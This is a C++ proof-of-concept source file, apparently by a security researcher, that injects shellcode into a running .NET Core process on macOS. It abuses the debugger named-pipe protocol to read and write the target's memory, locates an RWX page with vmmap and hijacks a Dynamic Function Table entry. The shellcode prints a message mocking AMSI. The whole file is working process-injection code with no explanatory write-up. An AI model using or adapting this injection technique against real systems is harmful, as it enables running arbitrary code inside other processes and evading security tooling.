// Compile with g++ dotnet_injectbundle.cpp -o dotnet_injectbundle #include #include #include #include #include #include "main.h" // libcorclr.dll signature for finding hlpDynamicFuncTable unsigned char signature[] = "\x66\x48\x0F\x6E\xC0\x66\x0F\x70\xC0\x44\xEB\x1E\x4C\x8B\x6D\xD0"; // Print some troll message to console unsigned char shellcode[] = { 0x80, 0x3d, 0x6b, 0x00, 0x00, 0x00, 0x01, 0x74, 0x2d, 0x50, 0x53, 0x51, 0x52, 0x55, 0x56, 0x57, 0xb8, 0x04, 0x00, 0x00, 0x02, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x35, 0x21, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x5f, 0x5e, 0x5d, 0x5a, 0x59, 0x5b, 0x58, 0xc6, 0x05, 0x3c, 0x00, 0x00, 0x00, 0x01, 0x48, 0xb8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xff, 0xe0, 0x0a, 0x0a, 0x57, 0x48, 0x4f, 0x20, 0x4e, 0x45, 0x45, 0x44, 0x53, 0x20, 0x41, 0x4d, 0x53, 0x49, 0x3f, 0x3f, 0x20, 0x3b, 0x29, 0x20, 0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x65, 0x73, 0x74, 0x20, 0x62, 0x79, 0x20, 0x40, 0x5f, 0x78, 0x70, 0x6e, 0x5f, 0x0a, 0x0a, 0x00 }; // Headers which we will need to use throughout our session MessageHeader sSendHeader; MessageHeader sReceiveHeader; // Our pipe handles int wr, rd; /// Read process memory from our target bool readMemory(void *addr, int len, unsigned char **output) { *output = (unsigned char *)malloc(len); if (*output == NULL) { return false; } // Set up the message header sSendHeader.m_dwId++; sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; sSendHeader.m_eType = MT_ReadMemory; sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; sSendHeader.m_cbDataBlock = 0; // Write the header if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { return false; } // Read the response header if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { return false; } // Make sure that memory could be read before we attempt to read further if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { return false; } memset(*output, 0, len); // Read the memory from the debugee if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) { return false; } return true; } /// Write to our target process memory bool writeMemory(void *addr, int len, unsigned char *input) { // Set up the message header sSendHeader.m_dwId++; sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; sSendHeader.m_eType = MT_WriteMemory; sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; sSendHeader.m_cbDataBlock = len; // Write the header if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { return false; } // Write the data if (write(wr, input, len) < 0) { return false; } // Read the response header if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { return false; } // Ensure our memory write was successful if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { return false; } return true; } /// Create a new debugger session bool createSession(void) { SessionRequestData sDataBlock; // Set up our session request header sSendHeader.m_eType = MT_SessionRequest; sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion; sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); // Set a random value for the UUID for(int i=0; i < sizeof(sDataBlock.m_sSessionID); i++) { *((char *)&sDataBlock.m_sSessionID + i) = (char)rand(); } // Send our header if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { return false; } // Send our UUID if (write(wr, &sDataBlock, sizeof(SessionRequestData)) < 0) { return false; } // Read the response if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { return false; } return true; } /// Returns the DCB from the target bool getDCB(struct DebuggerIPCControlBlockTransport *dcb) { // Set up our header sSendHeader.m_dwId++; sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; sSendHeader.m_eType = MT_GetDCB; sSendHeader.m_cbDataBlock = 0; if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { return false; } if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { return false; } if (read(rd, dcb, sReceiveHeader.m_cbDataBlock) < 0) { return false; } return true; } /// Hunts through memory searching for the provided signature int findMemorySignature(void *base, unsigned char *signature, int len) { unsigned char *output; int offset = 0xc1000; //0; while(true) { if (readMemory((char *)base + offset, len, &output) == false) { // If we hit a memory access violation, we probably went too far return -1; } if (memcmp(output, signature, len) == 0) { return offset; } free(output); offset++; } return -1; } /// Runs vmmap and finds a RWX page of memory (god damn Apple.. look what you make us do!) unsigned long long runVMMAP(const char *processName) { int link[2]; pid_t pid; char *output; int nbytes = 1, r = 0; char *needle; output = (char *)malloc(0x10000); if (pipe(link)==-1) exit(2); if ((pid = fork()) == -1) exit(2); if(pid == 0) { dup2 (link[1], STDOUT_FILENO); close(link[0]); close(link[1]); execl("/usr/bin/vmmap", "vmmap", processName, (char *)0); exit(2); } close(link[1]); while(nbytes != 0) { nbytes = read(link[0], output + r, 0x10000); if (nbytes == 0x10000) { break; } r += nbytes; } wait(NULL); // Search for our RWX memory region if ((needle = strstr(output, "rwx/rwx")) == NULL) { return 0; } // Now we need to search backwards for the start of the line (GOD DAMN APPLE!!) while(*needle != '\n') { needle--; } // Now we find and extract the address at the end of the region while(*needle != '-') { needle++; } needle++; // Now NULL terminate the address *(needle + 0x10) = '\0'; return strtoull(needle, NULL, 16); } int main(int argc, char **argv) { struct DebuggerIPCControlBlockTransport dcb; unsigned char *output; unsigned char *dft; int offset; int dftOffset; unsigned long long rwxPageAddr; printf("Dotnet Core Debugger Injection POC by @_xpn_\n\n"); if (argc != 4) { printf("Usage: %s in-pipe out-pipe process-name\n", argv[0]); printf("Example: %s \"$TMPDIR/clr-debug-pipe-73013-1600035359-in\" \"$TMRDIR/clr-debug-pipe-73013-1600035359-out\" pwsh\n", argv[0]); return 10; } wr = open(argv[1], O_WRONLY); rd = open(argv[2], O_RDONLY); if (rd < 0 || wr < 0) { printf("[x] Could not open provided named pipes\n"); return 1; } // Create debugger session printf("[*] Creating a session with the target\n"); if (!createSession()) { printf("[x] Error: Could not create debugger session\n"); return 1; } // Retrieve the DCB printf("[*] Retrieving a copy of the target DCB\n"); if (!getDCB(&dcb)) { printf("[x] Error: Could not request DCB\n"); return 2; } // Search for DFT signature in memory printf("[*] Base address of m_helperRemoteStartAddr: %p\n[*] Hunting for signature in target memory\n", dcb.m_helperRemoteStartAddr); if ((offset = findMemorySignature(dcb.m_helperRemoteStartAddr, signature, 16)) == -1) { printf("[x] Error: Could not find memory signature\n"); return 3; } // Read the offset to the address table if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x17, 4, &output)) { printf("[x] Error: Could not read Dynamic Function Table from target\n"); return 4; } dftOffset = *(int *)(output) + 0x7; printf("[*] Dynamic Function Table found at %p\n", (char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset); if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset, 0x200, (unsigned char **)&dft)) { printf("[x] Error: Could not read Dynamic Function Table\n"); return 4; } printf("[*] Dynamic Function Table read\n"); // Update our shellcode to return into the original DFT function address *(unsigned long long *)(shellcode + 56) = *(unsigned long long *)((char *)dft + 0x50); rwxPageAddr = runVMMAP(argv[3]); rwxPageAddr -= sizeof(shellcode); printf("[*] Found RWX page of memory, writing our shellcode to %p\n", rwxPageAddr); if (writeMemory((void*)rwxPageAddr, sizeof(shellcode), (unsigned char *)shellcode) == false) { printf("[x] Error: Could not write our shellcode to RWX memory\n"); return 4; } printf("[*] Overwriting the Dynamic Function Table entry... injection complete\n"); if (!writeMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset + 0x50, 0x8, (unsigned char *)&rwxPageAddr)) { printf("[x] Error: Could not write to the function table\n"); return 5; } }